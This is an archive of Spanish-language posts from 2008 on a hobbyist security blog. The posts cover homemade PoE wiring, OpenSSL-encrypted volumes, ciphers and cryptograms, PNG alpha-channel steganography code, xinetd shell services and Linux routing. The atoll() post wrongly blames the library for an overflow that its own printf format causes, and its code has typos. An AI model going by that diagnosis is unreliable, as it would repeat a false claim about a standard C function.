h4ck1t

hack1t se traslada

2008-11-18T22:00:00.000-08:00

A partir de ahora la nueva dirección del blog es:

http://dlerch.blogspot.com

hack1t continuará online de momento, pero no se añadirán nuevas entradas.

Disculpad las molestias.

Power Over Ethernet Casero

2008-11-16T03:05:00.000-08:00

Existe un estándar que define la forma de usar cableado de red que incluye alimentación elétrica. Aunque actualmente no resulta sencillo encontrar dispositivos que lo implementen. Por este motivo dedico un post a realizar una implementación casera. Yo lo he usado con éxito en instalaciones de camaras web.

Si utilizamos para el cableado la norma 568B el esquema de colores queda como sigue:

PIN COLOR TIPO
------------------------------
1 Blanco/Naranja TX D1+
2 Naranja TX D1-
3 Blanco/Verde RX D2+
4 Azul Libre
5 Blanco/Azul Libre
6 Verde RX D2-
7 Blanco/Marron Libre
8 Marron Libre

La idea consiste en usar alguno de los pares libres para transmitir el voltaje necesario para la camara. Por ejemplo, en mis instalaciones de camaras web (uso cámaras Axis 206 que necesitan 5V y unos 500mA cada una) no hay ningún problema de interferencias, pero con más de 50V podríamos tener sorpresas.

Como he indicado en el listado anterior, los pares libres son el Blanco/Azul - Azul y el Banco/Marrón - marrón. Se trata, simplemente, de usar uno de esos pares para la alimentación del dispositivo.
En principio, resulta más sencillo crimpar el RJ45 con todos los cables y despues cortar el par que nos interesa para la alimentación. Aunque con un poco de práctica no resulta complicado crimpar solo los cables necesarios, y la instalación siempre queda más 'mona'.

Bueno, aquí queda el código de colores. A ver quien nos cuenta sus experiencias!

Volúmenes cifrados con OpenSSL

2008-11-09T05:45:00.000-08:00

Cada vez hay más productos que se venden como 'criptografía fàcil' para todo tipo de usuarios. Estos te permiten montar un volumen de datos de forma realmente sencilla y cifrarlos con criptografía fuerte. Pero no es el propósito de este artículo repasar ni estudiar dichos productos. Aquí, siguiendo la folosofía del blog, lo que haremos es crear un sistema propio.

Usaremos la herramienta openssl que nos permitirá lidiar con el cifrado y algunos comandos unix para el manejo del volumen.

Creando un nuevo volumen

Para crear un volumen usaremos la herramienta 'dd' que nos permitirá crear un archivo vacío de cierto tamaño. Como ejemplo creamos un volumen de 100MB.

$ dd if=/dev/zero of=volume bs=1M count=100

A continuación necesitaremos crear el sistema de ficheros. Por ejemplo, ext3:

$ mkfs.ext3 volume

y finalmente cifraremos con blowfish. En este paso openssl nos pedirá la contraseña con la que queremos cifrar el sistema.

$ openssl enc -blowfish -in volume -out volume.ciph

Abrir el volumen

Para abrir el volumen solo tendremos que descifrar-lo con

$ openssl enc -blowfish -d -in volume.ciph -out volume

paso en el que se nos pedirá la contraseña de cifrado. A continuación, para acceder al volumen, lo montaremos.

$ mount volume /mnt -o loop

De esta manera, todo lo que guardemos en /mnt quedará almacenado en nuestro volumen de cifrado.

Cerrar el volumen

Una vez hemos terminado de trabajar con nuestro volumen de datos procedemos a cerrarlo y dejarlo cifrado hasta la proxima vez.

Para tal proposito, desmontaremos el volumen:

$ umount -l /mnt

lo cifraremos

$ openssl enc -blowfish -in volume -out volume.ciph

y borraremos la copia sin cifrar

$ rm -f volume

Comentarios finales

Hemos visto como, de forma muy sencilla, y sin recurrir a nada más que los comandos habituales de cualquier sistema unix, podemos tener nuestro propio sistema de volumenes cifrados.

Lógicamente, se le pueden añadir muchas mejoras, como automatizar los comandos con sencillos scripts del estilo create_volume.sh, open_volume.sh, etc o añadir seguridad al sistema, por ejemplo sustituyendo 'rm' por una herramienta de borrado seguro como 'shred'.

En este caso, sustituir

$ rm -f volume

por

$ shred volume

aunque el tiempo autmentará considerablemente.

¿Qué pasa con atoll()?

2008-10-06T06:51:00.000-07:00

Como programador de sistemas UNIX a veces me encuentro con algunas cosas curiosas con las APIs. Hoy, sin ir mas lejos, me he vuelto loco intentando hacer funcionar atoll().

En una parte de un viejo programa, se manejaba un identificador de menos de 32 bits. Ese identificador, que provenía de una máquina Cisco en formato cadena, estaba declarado como 'int' y se transformaba mediante atoi().

Por necesidades ligadas al crecimiento de la empresa, ahora el identificador debía poder almacenar hasta 56 bits.

En pocos segundos tenía el programa funcionando con un identificador declarado como 'long', pero ooops! no funcionaba. De hecho, se comportaba como un 'int'.

El sistema, un CentOS 5.2, el compilador, gcc 4.1.2, sin problemas conocidos. Así que me dediqué a hacer algunas pruebas:

$ cat test1.c


#include<stdio.h>
int main()
{
  /* 2^31 = 2147483648 */

  char *str="2147483648";
  long long i;

  i = atoll(str);

  printf("%ld\n", i);
}

$ gcc test1.c
$ ./a.out
-2147483648

Overflow, exactamente igual que un 'int'.
Me dirijo al man de atoll() y me encuentro con esto:

"The atol() and atoll() functions behave the same as atoi()"

y efectivamente. La culpa es de la función de conversión, pues con una función my_atoll() personalizada, no existe tal problema:

$ cat test2.c


#includes<stdio.h>
long long my_atoll(char *str)
{
   long long res;

         res = 0;
   for (; *str; str++)
                 res = 10*res + (*str - '0');

         return res;
}


int main()
{
         /* 2^31 = 2147483648 */

         char *str="2147483648";
         long long i;

   i =my_atoll(str);


   printf("%lld\n", i);
}

$ gcc test2.c
$ ./a.out
2147483648

Sorprendente ...

Linus Torvalds y OpenBSD

2008-09-22T01:25:00.000-07:00

Recojo otra de las lindezas de Linus. Es que es para coleccionarlas ...
ref: http://article.gmane.org/gmane.linux.kernel/706950

From: Linus Torvalds linux-foundation.org>
Subject: Re: [stable] Linux 2.6.25.10
Newsgroups: gmane.linux.kernel
Date: 2008-07-15 16:13:03 GMT (9 weeks, 5 days, 16 hours and 5 minutes ago)
On Tue, 15 Jul 2008, Linus Torvalds wrote:
>
> So as far as I'm concerned, "disclosing" is the fixing of the bug. It's
> the "look at the source" approach.

Btw, and you may not like this, since you are so focused on security, one
reason I refuse to bother with the whole security circus is that I think
it glorifies - and thus encourages - the wrong behavior.

It makes "heroes" out of security people, as if the people who don't just
fix normal bugs aren't as important.

In fact, all the boring normal bugs are _way_ more important, just because
there's a lot more of them. I don't think some spectacular security hole
should be glorified or cared about as being any more "special" than a
random spectacular crash due to bad locking.

Security people are often the black-and-white kind of people that I can't
stand. I think the OpenBSD crowd is a bunch of masturbating monkeys, in
that they make such a big deal about concentrating on security to the
point where they pretty much admit that nothing else matters to them.

To me, security is important. But it's no less important than everything
*else* that is also important!

Linus

Liberar la HTC Touch

2008-09-14T00:47:00.000-07:00

Recientemente me he visto en la obligación de liberar mi HTC Touch. Es sencillo y útil, así que, aunque existen muchos tutoriales en la red, dejo aquí los pasos a sequir.

Descargar y ejecutar Cert_SPCS.cab en la PDA.
Descargar y ejecutar EnableRapi.cab en la PDA.
Descargar Touch_Unlock.exe en el PC.
Conectar la HTC con el PC mediante ActiveSync (USB).
Ejecutar el Touch_Unlock.exe, el cual generará un archivo unlock_code.txt.
Apagar la HTC Touch, introducir la SIM de otro operador e iniciar.
Solicitará el pin de la nueva SIM, introducirlo.
Solicitará un código de red, introducir los primeros 8 dígitos de unlock_code.txt.

La HTC Touch debería estar desbloqueada.

Estas cosas no funcionan siempre. así que en caso de no poder desbloquear el móvil en dos o tres intentos, mejor no continuar.

El Criptograma del 2008

2008-09-07T01:45:00.000-07:00

Actualización:
El criptograma se resiste, así que pasa de ser "El criptograma del verano" a ser "El criptograma del año". Lo dejaré hasta enero y si nadie lo consigue, pondré la solución. Aunque tengo fe en vosotros ...

Viendo que los criptogramas semanales duran bien poco, he decidido poner un reto un poco más complejo para que os podáis estrujar las neuronas durante las aburridas tardes de verano.

En linea con los criptogramas anteriores, se trata de un sistema que en su momento fué ampliamente utilizado.


ADZMO YHADG TIYMM ZCAUG CZYJA DYJTG LKSKM DKOZJ
OKEIG JHKAC EZSGQ HYZOG EZMVG HAZSG MYJOZ MNJEG
SZENH GHEIZ JHKDG COMKS ZCCAB IYFAJ GSZMY JOGMN
JZEON FNHGH CNACO ZEYME GHADY JABNT KVZHY VGEAM
DYEMA YMPIA YCOZD ARKCC NYCOG DARKC ZSGMY JOZMP
IACYA COGEY MEZSK JAMEY UKCSG MZGOM ZAMGD YJABN
TKTKD SYZMG DAJYB NTKEI ZJHKA COGHY CKMHA JZHKS
MYSGM ZMCAE KJOMG YDEIZ JHKAC OGCYT IMKAJ OKHZC
SGMOY CAFNO ZMDYH IMGJO AIJON YBSKE IZJHK ACBGC
XIYMO ACNOI KSKJY JOAON YJAIJ OYBSA MZBYJ OKEKD
AMNEK NJOYJ OGNMM NOZMD ACNYC GMMKT ZJOAO MGOZH
YXKBA JOGMC IYTKO NCBKC NDZCO MKSGC AJYBN TZCCA
VGDDZ JUNYJ SMASG MZHGC OMZCI JGMYK MTZJN QGENK
JNJOA JOZHY CKMHA JGMDZ CCNYC OGJIJ NHZCC NABUM
GDZHN CYJCN KJAJO MYCIC XNDGC ZOGEZ GDAJY BNTKE
IZJHK JKACO GSMYS ZMGHK WZSGM AEYEI ZJHKJ KOAYC
SAMGY COZCC KJDGC EDZFA CHYDG FNEOK MNZSG MZADY
COMGO ATZCI JOQIY DGMOA HYDZT IAMMG

Feliz criptroanálisis.

Cifrados de sustitución homofónica

2008-08-15T05:12:00.000-07:00

En los cifrados de sustitución tradicionales, cada letra del texto plano era sustituída por un simbolo diferente. El problema de este tipo de criptosistema lo vimos en detalle en Criptoanálisis: Análisis de frecuencias.

Al sustituir cada letra por un símbolo diferente, la frecuencia de las letras del texto original se mantiene en el criptograma. Des esta manera, conociendo la frecuencia en la que aparecen las letras en la lengua origen, podemos obtener algunas pistas que nos permitiran resolver el criptograma.

Los cifrados de sustitución homofónica suponen una vuelta de tuerca más a los cifrados de sustitución tradicionals. El objetivo de este sistema consiste en disminuir el efecto de las frecuencias en el criptograma resultante. Así pues, si sabemos que las letra A es la letra más frecuente, podemos sustituir esta letra por símbolos diferentes.

Veamos un ejemplo:

Texto Plano:
ESTO ES UN CRIPTOGRAMA DE EJEMPLO

Frecuencias:
E: 4, S: 2, T:2, O:3, U:1, N:1, C:1, R: 2, I: 1, P: 2:, G: 1, A: 2, M: 2, J: 1, D: 1, L: 1.

Como vemos en el texto plano, las frecuencias habituales son 1 y 2. Destaca pues la E con frecuencia 4 y la O con frecuencia 3.

Así pues, en el momento de asignar sustitutos a cada una de las letras del texto plano, asignaremos más de un sustituto a nuestras letras más frecuentes. Por ejemplo, usaremos E: A,I y O: X, Y. Para las demás letras usaremos un solo símbolo como en un sistema de sustitución tradicional.

Criptrogama:
ABCXIBDEFGHJCYKGLMLNIAOIMJlX

Si ahora estudiamos la frecuencia de las letras solo obtendremos frecuencias de 1 y 2 letras, lo que nos ofrecerá pocas pistas del texto plano original.

Lógicamente, este tipo de criptosistemas es más seguro cuantas más sustituciones se usan para cada letra. El objetivo siempre será tergiversar la distribución de frecuencias del lenguaje original.

Cuando se realizan varias sustituciones por letra nos encontramos con que es necesario disponer de más símbolos que los que proporciona el abecedario. Podemos usar caracteres como @, #, ¿, ?, etc. Aunque normalmente lo más práctico suele ser usar números.

A continuación dejo una utilidad de Simon Singh que permite cifrar/descifrar sistemas homofónicos mediante números: Homophonic Cipher

Criptograma Semanal 09/08/08

2008-08-09T01:40:00.000-07:00

UKALNOIYUAURMXURQYVAVAGWNEAGUQYVEAGUAMVGVATXUYQVADXUAKV AMWURMWVAKNHYVAVIYWY.

VKIUYQAUWREQUWR

Criptograma Semanal 02/08/08

2008-08-02T01:38:00.000-07:00

LEG VR AHW CW SBEDBWPWOHER VX IRW OWBBVBW VRQBV CEX HRDVRHVBEX AV XEJQFWBV HRQVRQWRAE OBVWB PVKEBVX SBEDBWPWX W SBIVZW AV HAHEQWX G VC IRHTVBXE, HRQVRQWRAE SBEAIOHB PWGEBVX HAHEQWX. SEB WLEBW, VC IRHTVBXE VXQW DWRWAE.

BHOM OEEM

Esteganografía: El canal Alpha

2008-07-29T23:03:00.000-07:00

En este primer artículo sobre esteganografía veremos como ocultar mensajes dentro de una imagen. Para ello usaremos el lenguaje C y accederemos a imágenes en formato PNG a través de la librería libpng.

Para probar los ejemplos es necesario descargar el programa steg.c que he desarrollado y la imagen de Tux que viene a continuación:

NOTA: Haz clic en la imagen para obtener la original, pues blogspot al redimensionar la imagen se carga su transparencia.

El canal Alpha:

Algunos formatos de imágen como puede ser PNG guardan cada píxel en RGBA. Lo que significa que se guarda información para R (cantidad de color rojo), G (cantidad de color verde), B (cantidad de color azul) y A (opacidad de la imagen).

Representar el color de un píxel mediante un formato RGB es algo ampliamente conocido, así que no entraremos en más detalles. Vamos a centrar nos en la A de RGBA, lo que se conoce como el canal Alpha.

El canal alpha contiene la información referente a la opacidad de la imagen, es decir, cuan transparente es.
En PNG, por ejemplo, se usa un byte en cada píxel para el canal alpha, de manera que, si este tiene valor 0, la imagen es completamente transparente, si tiene valor 255 la imagen no tiene transparencia y para valores entre 0 y 255 el nivel de transparecia cambia gradualmente.

Así pues, si un píxel de cierto color RGB tiene el canal alpha a cero, no se verá. Lo que nos permite ocultar datos en los bytes destinados a R, G y B siempre que sea un píxel transparente.

Acceso a la imagen PNG:

En el programa de ejemplo podemos ver dos funciones "read_png()" y "write_png()". No entraremos en detalle sobre estas dos funciones. Basta decir que la primera carga la imagen en las estructuras de datos de libpng y la segunda escribe el contenido de estas estructuras de datos en una nueva imagen.

Por lo tanto el procedimiento a seguir será leer la imagen, realizar las modificaciones pertinentes y escribir de nuevo la imagen.

Para acceder a los diferentes bytes que componen RGBA lo haremos a traves de las funciones "get_value()" y "set_value()". Mientras que la primera nos permite obtener el valor de R, G, B o A, "set_value()" nos permite modificarlo. Así pues:

- get/set_value(x, y, 0, ...) accede al byte que define R
- get/set_value(x, y, 1, ...) accede al byte que define G
- get/set_value(x, y, 2, ...) accede al byte que define B
- get/set_value(x, y, 3, ...) accede al byte que define A

Ocultando un fichero:

Para ocultar un fichero, el programa tendrá que leer cada byte del fichero a ocultar y escribirlo en un píxel de la imagen PNG donde el canal alpha este a cero. Como ejemplo pego parte de la función "hide_file()":


FILE *f = fopen(msg_file, "r");
if(!f)
error("[hide_file] fopen()");

for(y = 0; y < height; y++)
{
for(x = 0; x < width; x++)
{
   if(get_value(x, y, 3)==0)
   {
      char c1=0;
      char c2=0;
      char c3=0;

      if(!feof(f)) c1 = fgetc(f);
      if(!feof(f)) c2 = fgetc(f);
      if(!feof(f)) c3  = fgetc(f);

      set_value(x, y, 0, c1);
      set_value(x, y, 1, c2);
      set_value(x, y, 2, c3);
   }
}
}

fclose(f);

Extraer el fichero oculto:

De manera similar a cómo hemos ocultado el fichero en el apartado anterior, podemos extraer la información oculta. Veamos un pedazo de "unhide_file()":



FILE *f = fopen(msg_file, "w+");
if(!f)
 error("[unhide_file] fopen()");

for(y = 0; y < height; y++)
{
 for(x = 0; x < width; x++)
 {
    if(get_value(x, y, 3)==0)
    {
       char c1 = get_value(x, y, 0);
       char c2 = get_value(x, y, 1);
       char c3 = get_value(x, y, 2);

       if(c1==0 || c2==0 || c3==0)
       {
          fclose(f);
          return;
       }

       fprintf(f, "%c%c%c", c1, c2, c3);
       set_value(x, y, 0, 0);
       set_value(x, y, 1, 0);
       set_value(x, y, 2, 0);
    }
 }
}

fclose(f);

Ejemplo de uso del programa:

Visto el código básico utilizado, podemos empezar a ocultar ficheros. Veamos un ejemplo.

Primero ocultamos un mensaje:

$ gcc steg.c -o steg -lpng
$ echo "Esto es un mensaje de ejemplo" > msg.txt
$ ./steg hide tux.png tux_steg.png msg.txt

Si abrimos la imagen tux_steg.png veremos que nuestros ojos no detectan ninguna modificación.

Ahora obtenemos el mensaje oculto:

$ ./steg unhide tux_steg.png tux_clean.png msg2.txt
$ cat msg2.txt
Esto es un mensaje de ejemplo

Un poco de cifrado:

Actualmente el mensaje esta oculto, pero no es difícil extraerlo, por lo que no estaría mal añadir un poco de cifrado. Lo haremos con la herramienta openssl.

Primero ciframos el archivo:

$ openssl enc -blowfish -in msg.txt -out msg.ciph
enter bf-cbc encryption password:
Verifying - enter bf-cbc encryption password:

A continuación lo codificamos en base64 y lo ocultamos:

$ openssl base64 -in msg.ciph -out msg.cb64
$ ./steg hide tux.png tux_steg.png msg.cb64

En este punto podemos verificar que la imagen con el mensaje oculto no muestra información adicional.

Extraemos el mensaje oculto y lo descodificamos en base64:

$ ./steg unhide tux_steg.png tux_clean.png msg2.cb64
$ openssl base64 -d -in msg2.cb64 -out msg2.ciph

Desciframos el archivo:

$ openssl enc -blowfish -d -in msg2.ciph -out msg2.txt
enter bf-cbc decryption password:

y voilà:

$ cat msg2.txt
Esto es un mensaje de ejemplo

Debilidades del sistema:

Ocultar la información en el canal alpha de la imagen no es precisamente la mejor técnica que se puede usar en esteganografía. De hecho tiene un inconveniente importe: la facilidad con la que se puede saber que hay un mensaje oculto.
Esto no significa que el sistema sea inseguro, pues si la información está cifrada no se podrá acceder a ella sin la clave. Pero es fàcil detectar que una imagen tiene un mensaje oculto.

Por ejemplo, simplemente poniendo el byte del canal alpha a 255, al visualizar la imagen veríamos las zonas de información con píxeles de diferentes colores.

A continuación dejo un ejemplo de la imagen de Tux, con un fichero oculto y con el canal alpha a 255. En ella vemos la existencia de información oculta en la primera mitad de la imagen.

Criptograma Semanal 26/07/08

2008-07-26T01:00:00.000-07:00

NE XEGQUWE HR NEB WHREB OAPHEXRPLENRB HR NE CWRPCWE BQP RBRPCWENXRPLR BRPCWNNEB G, ZQU URSNE SRPRUEN ZARHRP BRU RVZURBEHEB RP AP NRPSAEIR CQXZURPBWDNR ZEUE LQHQB.

ENDRUL RWPBLRWP

Nueva sección Seguridad Física

2008-07-24T05:15:00.000-07:00

Hasta ahora en este blog se ha hablado principalmente de temas relacionados con la seguridad, siempre en el contexto de la informática. Hoy, despues de que por enésima vez entren a robar en mi nueva casa, todavía en construcción, he decidido abrir un apartado de seguridad física.

Nada se sobre este tema, aunque tengo previsto aprender durante los próximos meses. Pues voy a instalar todo tipo de sensores, actuadores, alarmas y demás cachibaches, integrándolos con el proyecto OpenDomo, que dirijo desde hace algun tiempo.

Empezaré en breve con un artículo sobre los sensores magnéticos y la (poca!?) seguridad que ofrecen.

Con esto, queda inaugurada la sección de Seguridad Física. Espero vuestros, siempre interesantes, comentarios.

Superado bsgame#1 de Blind Security

2008-07-24T05:10:00.000-07:00

El 1 de Julio Blind Security empezaba el I Torneo de Seguridad Informática BlindSec.

Despues de varias intentonas y de encallarme considerablemente en los niveles 9 y 10 he superado el bsgame#1 entre los 10 primeros, lo que me hace ganador de una bonita camiseta ;)

A todo el que le guste romperse el coco con retos informáticos y quiera aprender, le recomiendo encarecidamente que lo intente, dado que el reto continuará abierto.

A mi me ha servido, entre otras cosas, como perfecta excusa para entrar en el terreno de la esteganografía. De hecho, tan pronto como el torneo sea superado (10 finalistas) publicaré un artículo sobre el tema a partir de algunos programas que desarrollé para pasar el nivel 9.

Insisto, si te gusta la seguridad informática y el hacking ético, no lo dudes, pásate por el torneo.

Los cifrados de Feynman

2008-07-20T14:05:00.000-07:00

El conocido físico Richard Feynman recibió tres mensajes codificados de los científicos de Los Alamos, y después de no poder descifrarlos el mismo, los compartió con sus alumnos de Caltech. Actualmente solo se ha conseguido descifrar el primero de los mensages.

Los tres mensajes cifrados son:


1. Easier
MEOTAIHSIBRTEWDGLGKNLANEA
INOEEPEYSTNPEUOOEHRONLTIR
OSDHEOTNPHGAAETOHSZOTTENT
KEPADLYPHEODOWCFORRRNLCUE
EEEOPGMRLHNNDFTOENEALKEHH
EATTHNMESCNSHIRAETDAHLHEM
TETRFSWEDOEOENEGFHETAEDGH
RLNNGOAAEOCMTURRSLTDIDORE
HNHEHNAYVTIERHEENECTRNVIO
UOEHOTRNWSAYIFSNSHOEMRTRR
EUAUUHOHOOHCDCHTEEISEVRLS
KLIHIIAPCHRHSIHPSNWTOIISI
SHHNWEMTIEYAFELNRENLEERYI
PHBEROTEVPHNTYATIERTIHEEA
WTWVHTASETHHSDNGEIEAYNHHH
NNHTW

2. Harder
XUKEXWSLZJUAXUNKIGWFSOZRAWURO
RKXAOSLHROBXBTKCMUWDVPTFBLMKE
FVWMUXTVTWUIDDJVZKBRMCWOIWYDX
MLUFPVSHAGSVWUFWORCWUIDUJCNVT
TBERTUNOJUZHVTWKORSVRZSVVFSQX
OCMUWPYTRLGBMCYPOJCLRIYTVFCCM
UWUFPOXCNMCIWMSKPXEDLYIQKDJWI
WCJUMVRCJUMVRKXWURKPSEEIWZVXU
LEIOETOOFWKBIUXPXUGOWLFPWUSCH

3. New Message
WURVFXGJYTHEIZXSQXOBGSV
RUDOOJXATBKTARVIXPYTMYA
BMVUFXPXKUJVPLSDVTGNGOS
IGLWURPKFCVGELLRNNGLPYT
FVTPXAJOSCWRODORWNWSICL
FKEMOTGJYCRRAOJVNTODVMN
SQIVICRBICRUDCSKXYPDMDR
OJUZICRVFWXIFPXIVVIEPYT
DOIAVRBOOXWRAKPSZXTZKVR
OSWCRCFVEESOLWKTOBXAUXV
B

Veamos como resolver el primero de los mensajes.

Se trata de un cifrado de transposición, el cual colocaremos en grupos de cinco letras:


M E O T A
I H S I B
R T E W D
G L G K N
L A N E A
I N O E E
P E Y S T
N P E U O
O E H R O
N L T I R
O S D H E
O T N P H
G A A E T
O H S Z O
T T E N T
K E P A D
L Y P H E
O D O W C
F O R R R
N L C U E
E E E O P
G M R L H
N N D F T
O E N E A
L K E H H
E A T T H
N M E S C
N S H I R
A E T D A
H L H E M
T E T R F
S W E D O
E O E N E
G F H E T
A E D G H
R L N N G
O A A E O
C M T U R
R S L T D
I D O R E
H N H E H
N A Y V T
I E R H E
E N E C T
R N V I O
U O E H O
T R N W S
A Y I F S
N S H O E
M R T R R
E U A U U
H O H O O
H C D C H
T E E I S
E V R L S
K L I H I
I A P C H
R H S I H
P S N W T
O I I S I
S H H N W
E M T I E
Y A F E L
N R E N L
E E R Y I
P H B E R
O T E V P
H N T Y A
T I E R T
I H E E A
W T W V H
T A S E T
H H S D N
G E I E A
Y N H H H
N N H T W

Ahora podemos leer el mensaje de abajo a arriba empezando por el final.

El mensaje resultante es:

Whan that Aprill, with his shoures soote
The droghte of March hath perced to the roote
And bathed every veyne in swich licour,
Of which vertu engendred is the flour;
Whan Zephirus eek with his sweete breeth
Inspired hath in every holt and heeth
The tendre croppes, and the yonge sonne
Hath in the Ram his halfe cours yronne,
And smale foweles maken melodye,
That slepen al the nyght with open eye-
(So priketh hem Nature in hir corages);
Thanne longen folk to goon on pilgrimag

.

Sockets en shellscript con xinetd

2008-05-31T11:00:00.000-07:00

Existe la posibilidad de crear aplicaciones sencillas "tipo servidor" con scripts de shell. Vamos a ver un ejemplo en el que se configurará el daemon xinetd para abrir un socket y poner un programa a la escucha. En nuestro caso el programa en cuestión será un script, aunque podría utilizarse cualquier otro lenguaje de programación.

Configurando Xinetd:
Generalmente disponcremos de un archivo de configuración de xinetd similar al siguiente:

$ cat /etc/xinetd.conf
#
# Simple configuration file for xinetd
#
# Some defaults, and include /etc/xinetd.d/

defaults
{
    instances               = 60
    log_type                = SYSLOG authpriv
    log_on_success          = HOST PID
    log_on_failure          = HOST
    cps                     = 25 30
}

includedir /etc/xinetd.d

Este indica la inclusión de los scripts situados en /etc/xinet.d/.

ls -lh /etc/xinetd.d/
total 100K
-rw-r--r--    1 root     root          563 nov 19 17:53 chargen
-rw-r--r--    1 root     root          580 nov 19 17:53 chargen-udp
-rw-r--r--    1 root     root          419 nov 19 17:53 daytime
-rw-r--r--    1 root     root          438 nov 19 17:53 daytime-udp
-rw-r--r--    1 root     root          341 nov 19 17:53 echo
-rw-r--r--    1 root     root          360 nov 19 17:53 echo-udp
-rw-r--r--    1 root     root          318 jun 23  2002 finger
-rw-r--r--    1 root     root          370 sep  1  2002 imap
-rw-r--r--    1 root     root          365 sep  1  2002 imaps
-rw-r--r--    1 root     root          453 sep  1  2002 ipop2
-rw-r--r--    1 root     root          359 sep  1  2002 ipop3
-rw-r--r--    1 root     root          275 jul  5  2002 ntalk
-rw-r--r--    1 root     root          335 sep  1  2002 pop3s
-rw-r--r--    1 root     root          361 jun 24  2002 rexec
-rw-r--r--    1 root     root          378 jun 24  2002 rlogin
-rw-r--r--    1 root     root          431 jun 24  2002 rsh
-rw-r--r--    1 root     root          317 jun 25  2002 rsync
-rw-r--r--    1 root     root          312 nov 19 17:53 servers
-rw-r--r--    1 root     root          314 nov 19 17:53 services
-rw-r--r--    1 root     root          392 ago 11  2002 sgi_fam
-rw-r--r--    1 root     root          263 jul  5  2002 talk
-rw-r--r--    1 root     root          305 jul 23  2002 telnet
-rw-r--r--    1 root     root          497 nov 19 17:53 time
-rw-r--r--    1 root     root          518 nov 19 17:53 time-udp
-rw-r--r--    1 root     root          276 ago 16  2002 vsftpd

Editando cualquiera de estos archivos puede verse la estructura que siguen los scripts. Para nuestro propósito debemos crear uno de estos scritps, por ejemplo el siguiente:

service nuevoservicio
{
port            = 6666
socket_type     = stream
wait            = no
user            = nobody
server          = /usr/local/bin/NuestroServidor.sh
log_on_success  += USERID
log_on_failure  += USERID
disable         = no
}

El puerto escogido para la escucha debe estar especificado en el archivo /etc/services, en nuestro caso, el puerto 6666, no está especificado, por lo tanto añadimos la siguiente línea a /etc/services:

nuevoservicio 6666/tcp   # Nuestro servicio de prueba

Sencillo, ¿no?.

Ahora solo necesitamos crear el script "NuestroServidor.sh" y colocarlo en /usr/local/bin.

Podemos probar con el clásico:

#!/bin/bash

echo "Hello World!"

Para que el servidor funcione correctamente debemos asegurarnos de que dispone de permisos de ejecución para todos los usuarios.

finalmente reiniciamos xinetd:

$ /etc/rc.d/init.d/xinetd restart
Parando xinetd:                                            [  OK  ]
Iniciando xinetd:                                          [  OK  ]

Podemos probar con:

$ telnet localhost 6666
Trying 127.0.0.1...
Connected to hackerbox (127.0.0.1).
Escape character is '^]'.
Hello World!
Connection closed by foreign host.

El programa llamado por xinetd podría haberse desarrollado en cualquier otro lenguaje de programación: C, Perl ... Lo interesante de esta forma de hacerlo es que permite la creación de servicios simples en un tiempo récord. Aunque no se debe olvidar que en estos sistemas la seguridad no es uno de sus fuertes. Con cuidado!

Enrutamiento básico en Linux

2008-05-25T03:09:00.000-07:00

Actualmente existen gran cantidad de herramientas basadas en GNU/Linux, *BSD y similares que permiten montar un router de una forma más o menos sencilla. Algunas de ellas incluso tienen bonitas interfaces gráficas que nos facilitan la tarea. Si nos movemos al terreno comercial, la oferta crece.

Sin embargo en este artículo no vamos a tratar sobre estas herramientas si no sobre los cimientos que las sustentan. Vamos a ver como usar una máquina Linux para las tareas básicas de enrutamiento.

Lo primero que necesitaremos es configurar las interfaces de red. Para esto utilizaremos la herramienta "ifconfig" disponible en cualquier SO Unix. A continuación tendremos que establecer rutas; utilizaremos "route". Y finalmente, con el daemon "routed" configuraremos el protocolo de enrutamiento RIP.

La herramienta ifconfig
Para configurar las interfaces del sistema utilizaremos la herramienta "ifconfig". Esta herramienta viene con cualquier SO de la familia Unix, y suele estar ubicada en "/sbin". Los parámetros para configurar una interfaz mediante "ifconfig" son los siguientes:

/sbin/ifconfig [interface] [IP] netmask [máscara] broadcast [broadcast]

Veamos un ejemplo, configuremos la interface eth0 con la IP 192.168.1.2:

/sbin/ifconfig eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255

La herramienta route
De la misma forma que utilizamos "ifconfig" para configurar las interfaces, disponemos de "route", para configurar rutas. La herramienta "route", ubicada en "/sbin" recibe los siguientes parámetros:

/sbin/route -[net|host] [IP] netmask [gw [IP]] dev [interface]

Una forma típica de llamara a "route" es la utilizada para configurar un gateway por defecto. Veamos la forma de hacerlo:

/sbin/route add -net 0.0.0.0 netmask 0.0.0.0 gw 192.168.1.1

Hemos añadimo una ruta de manera que los paquetes destinados a cualquier red (0.0.0.0) se dirijan al gateway 192.168.1.1. Hay otra forma de hacerlo más utilizada:

/sbin/route add default gw 192.168.1.1

Entendiendo como "default": "-net 0.0.0.0 netmask 0.0.0.0".

Hemos configurado un gateway por defecto. Ahora configuremos una ruta normal. Por ejemplo, enrutemos todos los paquetes destinados a 192.168.78.0 al gateway 192.168.1.1:

/sbin/route add -net 192.168.78.0 netmask 255.255.255.0 gw 192.168.1.1

El daemon routed
A diferencia de lo que pasaba con "ifconfig" y "route", el daemon "routed" no viene instalado por defecto en el SO Linux. Pero no es difídil de conseguir e instalar.

Una vez instalado se ubica en "/sbin" o en "/usr/sbin". Ejecutarlo es fácil:

/usr/sbin/routed

Pero, ¿para que sirver routed?

El daemon "routed" es la implementación del protocolo RIP (Routing Information Protocol). La finalidad del protocolo RIP consiste en comunicar la estructura de la red a los routers vecinos. Esto soluciona el problema del mantenimiento de rutas en redes grandes, donde sería del todo imposible añadir y borrar rutas en función del estado de la red. Script de ejemplo
Según lo que se ha visto hasta ahora, configurar el enrutamiento básico en Linux es de lo más sencillo. Primero configuramos las interfaces, a continuación habilitamos un ruta por defecto y finalmente arrancamos el demonio "routed". Veamos un Script de ejemplo:

#!/sbin/bash

# Habilitamos la redirección de paquetes
echo 1 > /proc/sys/net/ipv4/ip_forward

# Configuramos las interfaces
/sbin/ifconfig eth0 192.168.1.2 netmask 255.255.255.0 broadcast 192.168.1.255
/sbin/ifconfig eth1 192.168.2.1 netmask 255.255.255.0 broadcast 192.168.2.255
/sbin/ifconfig eth2 192.168.3.1 netmask 255.255.255.0 broadcast 192.168.3.255

# Gateway por defecto
/sbin/route add default gw 192.168.1.1

# Arrancamos routed
/usr/sbin/routed

La escultura Kryptos

2008-05-18T12:20:00.000-07:00

En los exteriores de las oficinas de la CIA en Langley (Virgina) podemos encontrar una escultura hecha por James Sanborn hacia 1990.

En esta enorme "ese" de bronce (tiene cuatro metros de altura) se esconden cuatro mensajes cifrados, escritos en inglés con errores gramaticales y todo;)

Los cuatro mensajes cifrados de la escultura son los siguientes:


EMUFPHZLRFAXYUSDJKZLDKRNSHGNFIVJ
YQTQUXQBQVYUVLLTREVJYQTMKYRDMFD
